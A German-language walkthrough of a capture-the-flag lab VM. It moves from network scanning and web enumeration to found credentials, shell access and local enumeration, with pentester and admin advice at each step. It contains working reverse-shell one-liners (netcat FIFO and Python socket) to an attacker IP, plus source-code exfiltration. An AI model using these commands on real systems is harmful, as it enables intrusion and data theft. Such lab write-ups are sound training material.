Die Aufklärungsphase beginnt standardmäßig mit der Suche nach aktiven Hosts im lokalen Netzwerksegment mittels ARP-Scan.
192.168.2.118 08:00:27:97:f9:da PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Requests, um aktive Geräte im lokalen Netzwerk zu finden. Ein Host wird unter der IP `192.168.2.118` mit der MAC-Adresse `08:00:27:97:f9:da` identifiziert. Der Hersteller (PCS Systemtechnik GmbH) weist auf eine VirtualBox-VM hin.
**Bewertung:** Ein Zielsystem wurde erfolgreich gefunden. Diese IP wird für die weiteren Scans verwendet.
**Empfehlung (Pentester):** Führen Sie als Nächstes einen umfassenden Portscan (z.B. mit Nmap) auf die Ziel-IP `192.168.2.118` durch, um offene Ports und Dienste zu identifizieren. Fügen Sie die IP ggf. mit einem Hostnamen (z.B. `ple.local` aus späteren Scans) zur `/etc/hosts`-Datei hinzu.
**Empfehlung (Admin):** Implementieren Sie Netzwerksegmentierung und überwachen Sie das Netzwerk auf ungewöhnliche Scan-Aktivitäten.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-30 20:53 CEST
Nmap scan report for ple.local (192.168.2.118)
Host is up (0.00010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 2aad5259dc7fb0e35b4736d2e71d1a5a (RSA)
| 256 d63fd58efe10f5bc2ca8533b78ec304e (ECDSA)
|_ 256 b51edf2d3f3fc6f9ca37a7dc8cbac2fa (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Sign in
|_Requested resource was login.php
|_http-server-header: Apache/2.4.38 (Debian)
4200/tcp open ssl/http ShellInABox
|_http-title: Shell In A Box
| ssl-cert: Subject: commonName=debian
| Not valid before: 2021-05-01T13:03:08
|_Not valid after: 2041-04-26T13:03:08
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:97:F9:DA (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.6 (97%), Linux 5.0 - 5.3 (96%)....
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.10 ms ple.local (192.168.2.118)
**Analyse:** Der Befehl `nmap -sS -sC -T5 -AO 192.168.2.118 -p-` führt einen umfassenden Scan aller TCP-Ports durch. * `-sS`: TCP SYN Scan. * `-sC`: Standard-Skript-Scan. * `-T5`: Aggressives Timing. * `-AO`: Betriebssystemerkennung. * `-p-`: Scannt alle 65535 Ports. Die Ausgabe zeigt drei offene Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 auf Debian. Standard-SSH-Dienst. * **Port 80 (HTTP):** Apache 2.4.38 auf Debian. Leitet zur `login.php` weiter. Das PHPSESSID-Cookie hat kein `httponly`-Flag. * **Port 4200 (SSL/HTTP):** Identifiziert als "ShellInABox". Dies ist eine webbasierte Terminal-Emulation, die SSH-Zugriff über HTTPS ermöglicht. Ein selbstsigniertes Zertifikat wird verwendet. Das Betriebssystem wird als Linux (Kernel 4.15-5.6) erkannt. Der Hostname scheint `ple.local` zu sein.
**Bewertung:** Drei potenzielle Angriffsvektoren wurden identifiziert: SSH, der Webserver (mit einer Login-Seite) und insbesondere ShellInABox auf Port 4200. ShellInABox ist ein sehr interessantes Ziel, da es direkten Shell-Zugriff über den Browser verspricht, wenn man die Zugangsdaten findet. Das fehlende `httponly`-Flag auf Port 80 ist ein geringeres Risiko, aber relevant bei XSS.
**Empfehlung (Pentester):**
1. Untersuchen Sie die Webanwendung auf Port 80 (`http://ple.local`), insbesondere `login.php`. Führen Sie Verzeichnis-Scanning (Gobuster) und Schwachstellen-Scanning (Nikto) durch.
2. Greifen Sie auf ShellInABox über HTTPS zu (`https://ple.local:4200` oder `https://192.168.2.118:4200`). Suchen Sie nach Standard-Zugangsdaten oder Hinweisen.
3. Behalten Sie SSH (Port 22) als Ziel für spätere Brute-Force-Angriffe oder gefundene Zugangsdaten im Auge.
**Empfehlung (Admin):**
1. Beschränken Sie den Zugriff auf ShellInABox auf autorisierte Benutzer und IPs. Verwenden Sie starke Authentifizierung und idealerweise kein selbstsigniertes Zertifikat in Produktionsumgebungen. Überprüfen Sie die Notwendigkeit dieses Dienstes.
2. Sichern Sie die Webanwendung auf Port 80 (Updates, Konfiguration, Input-Validierung). Setzen Sie das `httponly`-Flag für Cookies.
3. Sichern Sie den SSH-Dienst (starke Passwörter/Schlüssel, fail2ban).
4. Aktualisieren Sie Apache und das Betriebssystem.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
4200/tcp open ssl/http ShellInABox
**Analyse:** Wiederholung des vorherigen Nmap-Scans, aber die Ausgabe wird durch `grep open` gefiltert, um nur die Zeilen mit offenen Ports anzuzeigen. Dies bestätigt die drei offenen Ports: 22, 80 und 4200.
**Bewertung:** Dies ist eine reine Formatierungshilfe, um eine schnelle Übersicht über die offenen Ports zu erhalten. Keine neuen Informationen, bestätigt aber die Hauptangriffsvektoren.
**Empfehlung (Pentester):** Nutzen Sie diese Liste als Checkliste für die weitere Untersuchung der Dienste.
**Empfehlung (Admin):** Vergleichen Sie diese Liste mit den erwarteten offenen Ports gemäß Ihrer Sicherheitsrichtlinie und Firewall-Konfiguration.
Wir konzentrieren uns nun auf den Webserver auf Port 80, um Verzeichnisse, Dateien und potenzielle Schwachstellen in der Webanwendung zu finden.
==============================================================================================================================
http://ple.local/index.php (Status: 302) [Size: 0] [--> login.php]
http://ple.local/about.php (Status: 200) [Size: 73082]
http://ple.local/contact.php (Status: 200) [Size: 82287]
http://ple.local/img (Status: 301) [Size: 304] [--> http://ple.local/img/]
http://ple.local/products.html (Status: 200) [Size: 16638]
http://ple.local/login.php (Status: 200) [Size: 2886]
http://ple.local/header.php (Status: 302) [Size: 0] [--> /login.php]
http://ple.local/p (Status: 301) [Size: 302] [--> http://ple.local/p/]
http://ple.local/css (Status: 301) [Size: 304] [--> http://ple.local/css/]
http://ple.local/js (Status: 301) [Size: 303] [--> http://ple.local/js/]
http://ple.local/javascript (Status: 301) [Size: 311] [--> http://ple.local/javascript/]
http://ple.local/logout.php (Status: 302) [Size: 0] [--> login.php]
http://ple.local/accounts.html (Status: 200) [Size: 9057]
http://ple.local/config.php (Status: 200) [Size: 0]
http://ple.local/fonts (Status: 301) [Size: 306] [--> http://ple.local/fonts/]
http://ple.local/challenge (Status: 301) [Size: 310] [--> http://ple.local/challenge/]
http://ple.local/det (Status: 301) [Size: 304] [--> http://ple.local/det/]
==============================================================================================================================
**Analyse:** Der Befehl `gobuster dir -u http://ple.local -x ...` scannt das Wurzelverzeichnis des Webservers `http://ple.local` auf Verzeichnisse und Dateien mit bestimmten Endungen. Gobuster verwendet hier vermutlich eine Standard-Wortliste, da keine `-w`-Option angegeben ist (obwohl die Endungsliste `-x` lang ist). Die Ausgabe zeigt viele gefundene Ressourcen: * Standard-Dateien/Verzeichnisse: `index.php`, `login.php`, `logout.php`, `config.php` (leer), `img/`, `css/`, `js/`, `fonts/`. * Inhaltsseiten: `about.php`, `contact.php`, `products.html`, `accounts.html`. * Ungewöhnliche/Interessante Funde: `header.php` (leitet weiter), `p/`, `javascript/` (neben `js/`), `challenge/`, `det/`. Das Verzeichnis `challenge/` ist besonders interessant.
**Bewertung:** Gobuster hat eine typische Struktur einer PHP-Webanwendung aufgedeckt. Die leere `config.php` ist bemerkenswert (möglicherweise werden Konfigurationen woanders geladen oder sie ist ungenutzt). Das `challenge/`-Verzeichnis sticht als potenziell wichtiger Hinweisgeber oder Ort einer Schwachstelle hervor. Die Weiterleitung von `index.php` und `header.php` zu `login.php` bestätigt, dass dies eine authentifizierungspflichtige Anwendung ist.
**Empfehlung (Pentester):**
1. Untersuchen Sie das `/challenge/`-Verzeichnis und seinen Inhalt manuell im Browser.
2. Überprüfen Sie die Inhaltsseiten (`about.php`, `contact.php` etc.) auf Hinweise oder versteckte Informationen (z.B. im Quellcode).
3. Analysieren Sie die `login.php`-Seite genauer (Quellcode, Funktionalität).
**Empfehlung (Admin):**
1. Entfernen Sie unnötige Verzeichnisse oder Dateien (z.B. `/challenge/`, wenn es sich um Testcode handelt).
2. Stellen Sie sicher, dass Konfigurationsdateien (`config.php`) keine sensiblen Informationen preisgeben und idealerweise außerhalb des Web-Roots liegen und nicht leer sind, wenn sie verwendet werden.
3. Überprüfen Sie alle PHP-Dateien auf Sicherheitspraktiken.
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.118
+ Target Hostname: 192.168.2.118
+ Target Port: 80
+ Start Time: 2023-05-30 20:53:19 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent ....
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ Root page / redirects to: login.php
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ /README.md: Readme Found.
+ 8102 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2023-05-30 20:53:28 (GMT2) (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
**Analyse:** Der Nikto-Scan (`nikto -h 192.168.2.118`) liefert weitere Details und Bestätigungen: * Bestätigt die fehlenden Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) und das fehlende `httponly`-Flag. * Bestätigt die Weiterleitung zu `login.php`. * Meldet die veraltete Apache-Version. * Warnt, dass `/config.php` sensible Daten enthalten *könnte* (obwohl Gobuster sie als leer gemeldet hat). * Findet Verzeichnis-Listing in `/css/` und `/img/`. * Findet die Standarddatei `/icons/README` und eine `/README.md`. * Identifiziert `/login.php` als Admin-Login.
**Bewertung:** Nikto bestätigt viele der vorherigen Funde und fügt die Information über Verzeichnis-Listings und die mögliche Sensibilität von `config.php` hinzu. Es liefert keine bahnbrechend neuen Schwachstellen, aber verstärkt die Notwendigkeit, die gefundenen Dateien (`login.php`, `README.md`) und Verzeichnisse (`css/`, `img/`, `challenge/`) zu untersuchen.
**Empfehlung (Pentester):** Priorisieren Sie die Untersuchung von `login.php`, `README.md` und dem `/challenge/`-Verzeichnis. Untersuchen Sie die Verzeichnisse mit Listing auf interessante Dateien.
**Empfehlung (Admin):** Beheben Sie die von Nikto gemeldeten Punkte: Sicherheitsheader hinzufügen, `httponly`-Flag setzen, Apache aktualisieren, Verzeichnis-Listing deaktivieren (`Options -Indexes`), Standarddateien (`icons/README`) entfernen, `README.md` auf sensible Infos prüfen, `config.php` sichern.
----------------------------------------------------------------------------------------------------
view-source:http://ple.local/login.php
>Username : admin
>Password : hacksudo
----------------------------------------------------------------------------------------------------
**Analyse:** Diese Notiz zeigt, dass der Pentester den Quellcode der Login-Seite (`http://ple.local/login.php`) untersucht hat (`view-source:`). Im Quellcode wurden offenbar hartcodierte Zugangsdaten als Kommentar oder Beispiel gefunden: Benutzername `admin` und Passwort `hacksudo`.
**Bewertung:** Ein kritischer Fund! Hartcodierte Zugangsdaten im Quellcode sind eine schwere Sicherheitslücke. Diese Zugangsdaten ermöglichen wahrscheinlich den Login in die Webanwendung auf Port 80.
**Empfehlung (Pentester):** Versuchen Sie sofort, sich mit `admin`:`hacksudo` über `login.php` anzumelden. Untersuchen Sie die Anwendung nach dem Login auf weitere Funktionen oder Schwachstellen.
**Empfehlung (Admin):** Entfernen Sie sofort hartcodierte Zugangsdaten aus dem Quellcode. Verwenden Sie sichere Methoden zur Authentifizierung und Speicherung von Anmeldeinformationen. Überprüfen Sie den gesamten Code auf ähnliche Vorkommnisse.
----------------------------------------------------------------------------------------------------
http://ple.local/challenge/challenge1.php
Info of gdb Abusing Challenge
You can login by using = "user46"
Your login password is = "hacksudo"
----------------------------------------------------------------------------------------------------
**Analyse:** Der Pentester hat das zuvor mit Gobuster gefundene Verzeichnis `/challenge/` untersucht und darin die Datei `challenge1.php` gefunden. Beim Aufruf dieser Seite (`http://ple.local/challenge/challenge1.php`) werden weitere Zugangsdaten angezeigt: Benutzername `user46` und Passwort `hacksudo`. Der Kontext ("Info of gdb Abusing Challenge") ist unklar, aber die Zugangsdaten sind explizit genannt.
**Bewertung:** Ein weiterer Satz Zugangsdaten wurde gefunden! Diesmal für `user46`. Da das Passwort (`hacksudo`) dasselbe ist wie das für den `admin`-Login der Webanwendung, könnte es wiederverwendet werden. Diese Zugangsdaten könnten für SSH oder, wahrscheinlicher, für den ShellInABox-Dienst auf Port 4200 bestimmt sein.
**Empfehlung (Pentester):**
1. Versuchen Sie, sich mit `user46`:`hacksudo` bei ShellInABox (`https://ple.local:4200`) anzumelden.
2. Versuchen Sie, sich mit diesen Daten auch per SSH anzumelden.
3. Nutzen Sie parallel den `admin`-Zugang zur Webanwendung auf Port 80.
**Empfehlung (Admin):** Entfernen Sie solche Challenge-Seiten oder Test-Zugangsdaten aus Produktionssystemen. Verwenden Sie niemals dasselbe Passwort für verschiedene Benutzer oder Dienste. Implementieren Sie starke, einzigartige Passwörter.
Nachdem im `/challenge`-Verzeichnis Zugangsdaten für `user46` gefunden wurden, versuchen wir, uns damit beim ShellInABox-Dienst auf Port 4200 anzumelden, um initialen Shell-Zugriff auf das System zu erhalten.
----------------------------------------------------------------------------------------------------
https://192.168.2.118:4200/
hacksudoLPE login: user46
Password:
----------------------------------------------------------------------------------------------------
Linux hacksudoLPE 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
user46@hacksudoLPE:~$
**Analyse:** Der Pentester greift auf ShellInABox über `https://192.168.2.118:4200` zu. Dort gibt er den Benutzernamen `user46` und das Passwort `hacksudo` (aus `challenge1.php`) ein. Der Login ist erfolgreich, was durch das Anzeigen des System-Banners und der Shell-Eingabeaufforderung `user46@hacksudoLPE:~$` bestätigt wird.
**Bewertung:** Initial Access erfolgreich! Wir haben nun eine interaktive Shell als Benutzer `user46` über den ShellInABox-Dienst. Dies ist ein signifikanter Fortschritt.
**Empfehlung (Pentester):**
1. Stabilisieren Sie die Shell, falls nötig (ShellInABox ist oft stabil, aber eine Reverse Shell kann flexibler sein).
2. Beginnen Sie mit der lokalen Enumeration als `user46`: `id`, `pwd`, `ls -la ~`, `uname -a`, `find / -perm -4000`, `sudo -l` etc.
**Empfehlung (Admin):**
1. Ändern Sie das Passwort für `user46`.
2. Überprüfen Sie die Sicherheit und Notwendigkeit von ShellInABox.
3. Entfernen Sie die `challenge1.php`, die die Zugangsdaten preisgegeben hat.
ls: cannot open directory '/home/isro/': Permission denied
**Analyse:** Als `user46` versucht der Pentester, das Home-Verzeichnis eines anderen potenziellen Benutzers (`isro`) aufzulisten. Der Versuch schlägt mit "Permission denied" fehl.
**Bewertung:** Dies zeigt, dass `user46` keine besonderen Rechte hat und nicht auf die Home-Verzeichnisse anderer Benutzer zugreifen kann, was eine normale und erwartete Konfiguration ist.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf die Enumeration im Kontext von `user46` und suchen Sie nach Wegen zur Privilegieneskalation von diesem Benutzer aus.
**Empfehlung (Admin):** Stellen Sie sicher, dass die Berechtigungen für Home-Verzeichnisse korrekt auf `700` oder `750` gesetzt sind.
Obwohl ShellInABox eine interaktive Shell bietet, etabliert der Pentester oft lieber eine eigene Reverse Shell für mehr Flexibilität und Kontrolle. Hier wird versucht, eine Reverse Shell vom `user46`-Kontext zum Angreifer-System aufzubauen.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.113 9001 >/tmp/f
user46@hacksudoLPE:~$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.113",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
listening on [any] 9001 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.118] 40470
$
**Analyse:** Der Pentester versucht zwei Methoden für eine Reverse Shell zum Angreifer (192.168.2.113) auf Port 9001: 1. Der Netcat-FIFO-Trick (`rm /tmp/f...`). 2. Ein Python-Einzeiler, der eine Socket-Verbindung herstellt und Standard-Input, -Output und -Error darauf umleitet, bevor er eine Shell (`/bin/sh -i`) startet. Parallel dazu wird auf dem Angreifer-System ein Netcat-Listener (`nc -lvnp 9001`) gestartet. Die Verbindung kommt erfolgreich zustande (`connect to ...`), wahrscheinlich ausgelöst durch den Python-Befehl. Der Angreifer erhält eine Shell-Eingabeaufforderung (`$`), die im Kontext von `user46` auf dem Zielsystem läuft.
**Bewertung:** Eine interaktive Reverse Shell wurde erfolgreich etabliert. Dies dient als Proof of Concept für die Kontrolle über den `user46`-Prozess und bietet eine alternative, oft bevorzugte Methode zur Interaktion mit dem Zielsystem im Vergleich zu ShellInABox.
**Empfehlung (Pentester):** Verwenden Sie diese Reverse Shell für die weitere Enumeration. Verbessern Sie sie gegebenenfalls zu einer voll interaktiven TTY.
**Empfehlung (Admin):** Implementieren Sie Egress-Filtering, um ausgehende Verbindungen zu blockieren. Überwachen Sie Prozesse auf verdächtige Netzwerkverbindungen oder Shell-Aufrufe.
Mit der etablierten Reverse Shell als Benutzer `user46` beginnen wir nun mit der lokalen Enumeration des Systems, um Informationen für eine mögliche Privilegieneskalation zu sammeln.
uid=1047(user46) gid=1047(user46) groups=1047(user46)
Linux hacksudoLPE 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
dmesg: read kernel buffer failed: Operation not permitted
**Analyse:** Die ersten Enumerationsbefehle werden ausgeführt: * `id`: Bestätigt, dass die Shell als `user46` (UID/GID 1047) läuft. * `uname -a`: Bestätigt die Kernel-Version (Linux 4.19.0-16), die bereits aus dem Nmap-Scan bekannt war. * `dmesg`: Versucht, den Kernel-Ringpuffer auszulesen. Dies scheitert mit "Operation not permitted", da normale Benutzer normalerweise keine Berechtigung dafür haben.
**Bewertung:** Bestätigung des Benutzerkontexts und der Kernel-Version. Das Scheitern von `dmesg` ist normal. Die Kernel-Version bleibt ein potenzieller, wenn auch nicht einfacher, Angriffsvektor.
**Empfehlung (Pentester):** Fahren Sie mit der Enumeration fort: SUID-Dateien, `sudo -l` (falls `sudo` verfügbar ist), Cronjobs, Home-Verzeichnis-Inhalte, Netzwerkkonfiguration, laufende Prozesse. Suchen Sie nach Kernel-Exploits für 4.19.0-16.
**Empfehlung (Admin):** Stellen Sie sicher, dass normale Benutzer keinen Zugriff auf `dmesg` haben (Standardeinstellung). Halten Sie den Kernel aktuell.
56 43 -rwsr-xr-x 1 root root 43088 Sep 16 2020 /snap/core18/2745/bin/mount
65 63 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/2745/bin/ping
81 44 -rwsr-xr-x 1 root root 44664 Nov 29 2022 /snap/core18/2745/bin/su
99 27 -rwsr-xr-x 1 root root 26696 Sep 16 2020 /snap/core18/2745/bin/umount
1728 75 -rwsr-xr-x 1 root root 76496 Nov 29 2022 /snap/core18/2745/usr/bin/chfn
1730 44 -rwsr-xr-x 1 root root 44528 Nov 29 2022 /snap/core18/2745/usr/bin/chsh
1783 75 -rwsr-xr-x 1 root root 75824 Nov 29 2022 /snap/core18/2745/usr/bin/gpasswd
1847 40 -rwsr-xr-x 1 root root 40344 Nov 29 2022 /snap/core18/2745/usr/bin/newgrp
1860 59 -rwsr-xr-x 1 root root 59640 Nov 29 2022 /snap/core18/2745/usr/bin/passwd
1951 146 -rwsr-xr-x 1 root root 149080 Apr 4 08:44 /snap/core18/2745/usr/bin/sudo
2039 42 -rwsr-xr--- 1 root systemd-network 42992 Oct 25 2022 /snap/core18/2745/usr/lib/dbus-1.0/dbus-daemon-launch-helper
2349 427 -rwsr-xr-x 1 root root 436552 Mar 30 2022 /snap/core18/2745/usr/lib/openssh/ssh-keysign
294603 40 -rwsr-xr-x 1 root root 37136 Jul 27 2018 /usr/bin/newgidmap
263998 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
260143 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
260142 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
263673 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
260146 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
264000 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
260145 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
263526 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
294604 40 -rwsr-xr-x 1 root root 37136 Jul 27 2018 /usr/bin/newuidmap
**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach SUID-Dateien. Die Ausgabe zeigt eine Mischung aus Standard-SUID-Binaries unter `/usr/bin` (wie `mount`, `su`, `passwd`) und einer Reihe von SUID-Binaries unter `/snap/core18/...`. Snap ist ein Paketverwaltungssystem, das Anwendungen isoliert installiert. SUID-Binaries innerhalb von Snap-Paketen sind oft weniger nützlich für Privilegieneskalation auf das Host-System, können aber manchmal innerhalb des Snap-Kontexts ausgenutzt werden. Es sind keine offensichtlich benutzerdefinierten oder ungewöhnlichen SUID-Dateien außerhalb des Snap-Verzeichnisses zu sehen.
**Bewertung:** Die SUID-Suche liefert keine unmittelbaren, einfachen Angriffsvektoren. Die Standard-Binaries sind meist sicher, und Snap-Binaries sind oft komplexer auszunutzen. Dieser Pfad scheint vorerst nicht vielversprechend.
**Empfehlung (Pentester):** Überprüfen Sie die Standard-SUID-Binaries auf GTFOBins. Untersuchen Sie das Home-Verzeichnis von `user46` und andere Bereiche, auf die der Benutzer Schreibzugriff hat. Suchen Sie nach Konfigurationsdateien oder Skripten.
**Empfehlung (Admin):** Minimieren Sie SUID-Berechtigungen. Überprüfen Sie regelmäßig die Sicherheit von Snap-Anwendungen, falls diese verwendet werden.
ls: cannot open directory '/home/ar': Permission denied
ls: cannot open directory '/home/isro': Permission denied
ls: cannot open directory '/home/user1': Permission denied
ls: cannot open directory '/home/user10': Permission denied
....
...
..
total 40
drwx------ 6 user46 user46 4096 May 30 14:59 .
drwxr-xr-x 63 root root 4096 May 8 2021 ..
-rw------- 1 user46 user46 369 May 6 2021 .bash_history
-rw-r--r-- 1 user46 user46 220 May 6 2021 .bash_logout
-rw-r--r-- 1 user46 user46 3526 May 6 2021 .bashrc
drwxr-xr-x 12 user46 user46 4096 May 6 2021 capabiliti
drwx------ 3 user46 user46 4096 May 30 14:59 .gnupg
-rw-r--r-- 1 user46 user46 807 May 6 2021 .profile
drwxr-xr-x 12 user46 user46 4096 May 6 2021 sudo
drwxr-xr-x 12 user46 user46 4096 May 6 2021 suid
ls: cannot open directory '/home/user47': Permission denied
ls: cannot open directory '/home/user48': Permission denied
ls: cannot open directory '/home/user49': Permission denied
....
...
..
ls: cannot open directory '/home/user9': Permission denied
**Analyse:** Der Pentester versucht offenbar, alle Home-Verzeichnisse aufzulisten. Die verwendete Schleife `for i in $(echo $x); do ls -la /home/$i; done` ist jedoch fehlerhaft, da die Variable `$x` nicht definiert ist. `echo $x` gibt eine leere Zeile aus, sodass die Schleife wahrscheinlich gar nicht oder nur für einen leeren `i`-Wert läuft. Die Ausgabe der `ls`-Fehler ("Permission denied" für viele `/home/user*`-Verzeichnisse) und des Inhalts von `/home/user46` wird dennoch angezeigt. Es ist unklar, wie diese spezifische Ausgabe zustande kam (vielleicht wurde der Befehl anders ausgeführt als gezeigt, oder die Fehler stammen von einem vorherigen `ls /home/*`). Wichtig ist der Inhalt des `/home/user46`-Verzeichnisses: Es enthält drei interessante Unterverzeichnisse: `capabiliti`, `sudo` und `suid`. Diese Namen legen nahe, dass sie Beispiele oder Tests für Privilegieneskalationstechniken enthalten könnten, die auf Capabilities, Sudo oder SUID basieren.
**Bewertung:** Trotz des fehlerhaften Schleifenbefehls liefert die (vermutlich beabsichtigte) Untersuchung des Home-Verzeichnisses von `user46` sehr wertvolle Hinweise. Die Verzeichnisse `capabiliti`, `sudo`, `suid` sind klare Wegweiser für potenzielle Eskalationspfade, die vom Ersteller der Box absichtlich platziert wurden.
**Empfehlung (Pentester):** Untersuchen Sie den Inhalt der Verzeichnisse `/home/user46/capabiliti`, `/home/user46/sudo` und `/home/user46/suid` sehr genau. Suchen Sie nach Skripten, Binaries oder Anleitungen.
**Empfehlung (Admin):** Entfernen Sie solche Test- oder Beispielverzeichnisse aus Produktionssystemen. Überprüfen Sie regelmäßig die Home-Verzeichnisse auf ungewöhnliche oder potenziell gefährliche Dateien/Skripte.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.113 - - [30/May/2023 16:09:52] "GET /p.tar.xz HTTP/1.1" 200 -
--2023-05-30 22:09:40-- http://192.168.2.118:8000/p.tar.xz
Verbindungsaufbau zu 192.168.2.118:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 1694312 (1,6M) [application/x-xz]
Wird in »p.tar.xz« gespeichert.
p.tar.xz 100%[=============================>] 1,62M --.-KB/s in 0,007s
2023-05-30 22:09:40 (217 MB/s) - »p.tar.xz« gespeichert [1694312/1694312]
p/
p/.gitignore
p/accounts.html
p/add-product.html
....
...
**Analyse:** Der Pentester startet erneut einen Python-HTTP-Server auf dem Zielsystem, diesmal im Verzeichnis `/var/www/html` (wo sich vermutlich die Webanwendungsdateien befinden). Von seinem Angreifer-System lädt er eine Datei namens `p.tar.xz` herunter und entpackt sie mit `tar -xvf p.tar.xz`. Das Archiv enthält offenbar den Quellcode oder die Dateien der Webanwendung (erkennbar an Dateinamen wie `accounts.html`, `login.php` etc.). Der Name `p.tar.xz` ist ungewöhnlich, vielleicht eine Abkürzung oder ein Überbleibsel.
**Bewertung:** Das Herunterladen des Webanwendungs-Quellcodes ist ein wichtiger Schritt zur Offline-Analyse. Dies ermöglicht es, den Code gründlich nach Schwachstellen, Konfigurationsdateien oder hartcodierten Zugangsdaten zu durchsuchen, ohne auf die Live-Anwendung angewiesen zu sein oder dort Spuren zu hinterlassen.
**Empfehlung (Pentester):** Analysieren Sie den entpackten Quellcode (`~/p`) auf dem Angreifer-System sorgfältig. Suchen Sie insbesondere nach:
* Konfigurationsdateien (z.B. `config.php`).
* Datenbank-Zugangsdaten.
* Passwort-Hashes oder Klartext-Passwörter.
* Logikfehlern oder Schwachstellen in PHP-Skripten.
**Empfehlung (Admin):** Stellen Sie sicher, dass der Webserver-Prozess (`www-data`) keinen Lesezugriff auf unnötige Dateien oder Archive im Web-Root hat. Speichern Sie sensible Konfigurationsdaten außerhalb des Web-Roots. Überprüfen Sie regelmäßig den Inhalt des Web-Roots auf verdächtige Archive oder Dateien.
insgesamt 300
drwxrwxrwx 14 cyber 1002 4096 16. Mai 2021 .
drwx------ 11 root root 4096 30. Mai 22:10 ..
-rw-r--r-- 1 cyber 1002 72828 16. Mai 2021 about.php
-rwxrwxrwx 1 cyber 1002 9057 23. Apr 2021 accounts.html
-rwxrwxrwx 1 cyber 1002 9339 23. Apr 2021 add-product.html
drwxrwxrwx 3 cyber 1002 4096 10. Mai 2021 challenge
-rwxrwxrwx 1 cyber 1002 139 23. Apr 2021 config.php
-rw-r--r-- 1 cyber 1002 82287 16. Mai 2021 contact.php
drwxrwxrwx 2 cyber 1002 4096 30. Apr 2021 css
drwxrwxrwx 2 cyber 1002 4096 9. Mai 2021 det
drwxrwxrwx 2 cyber 1002 4096 30. Apr 2021 .dist
-rwxrwxrwx 1 cyber 1002 9753 23. Apr 2021 edit-product.html
drwxrwxrwx 2 cyber 1002 4096 30. Apr 2021 fonts
drwxrwxrwx 8 cyber 1002 4096 30. Apr 2021 .git
-rwxrwxrwx 1 cyber 1002 1256 23. Apr 2021 .gitignore
drwxrwxrwx 4 cyber 1002 4096 30. Apr 2021 header-css
-rwxrwxrwx 1 cyber 1002 2452 30. Apr 2021 header.php
drwxrwxrwx 2 cyber 1002 4096 30. Apr 2021 img
-rwxrwxrwx 1 cyber 1002 4659 16. Mai 2021 index.php
drwxrwxrwx 4 cyber 1002 4096 30. Apr 2021 jquery-ui-datepicker
drwxrwxrwx 2 cyber 1002 4096 30. Apr 2021 js
-rwxrwxrwx 1 cyber 1002 3849 1. Mai 2021 login.php
-rwxrwxrwx 1 cyber 1002 172 23. Apr 2021 logout.php
drwxrwxrwx 3 cyber 1002 4096 10. Mai 2021 p
-rwxrwxrwx 1 cyber 1002 16638 23. Apr 2021 products.html
-rwxrwxrwx 1 cyber 1002 1293 23. Apr 2021 README.md
drwxrwxrwx 2 cyber 1002 4096 30. Apr 2021 webfonts
require_once ('config.php'); // For storing username and password.
